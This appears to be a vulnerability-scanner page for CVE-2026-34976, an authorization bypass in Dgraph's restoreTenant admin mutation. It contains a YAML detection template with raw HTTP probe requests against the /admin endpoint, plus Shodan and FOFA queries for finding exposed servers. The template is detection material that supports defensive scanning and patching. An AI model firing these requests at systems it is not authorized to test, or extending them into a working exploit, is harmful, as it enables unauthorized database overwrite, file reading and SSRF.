Dgraph <=v25.3.0 - Admin Mutation Missing Authorization
CVE-2026-34976
Early Release
Description
Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.
Severity
Critical
CVSS Score
10
Exploit Probability
2%
Affected Product
dgraph
Published Date
August 11, 2026
Template Author
str4k3r
CVE-2026-34976.yaml
id: CVE-2026-34976
info:
name: Dgraph <=v25.3.0 - Admin Mutation Missing Authorization
author: str4k3r
severity: critical
description: |
Dgraph <=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.
impact: |
Unauthenticated attackers can overwrite the database, read server files, and perform SSRF, leading to full data compromise and server access.
remediation: |
Update to version 25.3.1 or later.
reference:
- https://github.com/hypermodeinc/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw
- https://nvd.nist.gov/vuln/detail/CVE-2026-34976
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-34976
epss-score: 0.01824
epss-percentile: 0.7706
cwe-id: CWE-862
metadata:
verified: true
max-request: 3
vendor: hypermodeinc
product: dgraph
shodan-query: title:"Dgraph"
fofa-query: body="dgraph"
tags: cve,cve2026,dgraph,auth-bypass,ssrf
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
host-redirects: true
max-redirects: 3
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(body, "dgraph", "Dgraph")'
condition: and
internal: true
- raw:
- |
POST /admin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query": "mutation { restore(input: { location: \"file:///nonexistent-cve-34976-probe/\" }) { code message } }"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "unauthorized ip address")'
condition: and
internal: true
- raw:
- |
POST /admin HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///nonexistent-cve-34976-probe/\" }, fromNamespace: 0 }) { code message } }"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "restoreTenant")'
- '!contains(body, "unauthorized ip address")'
condition: and
# digest: 4b0a00483046022100fbc9ebead66f7d00766a66aa80a4e19d0f5b6f5b451cfc032142a212b94a7dc8022100ecdd941f5640566d00be42bb6fe13be227b4a2a5044b81022f49c57e6fb9cd61:922c64590222798bb761d5b6d8e7295010.0Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE ID:
cve-2026-34976
CWE ID:
cwe-862
Remediation Steps
Update to version 25.3.1 or later.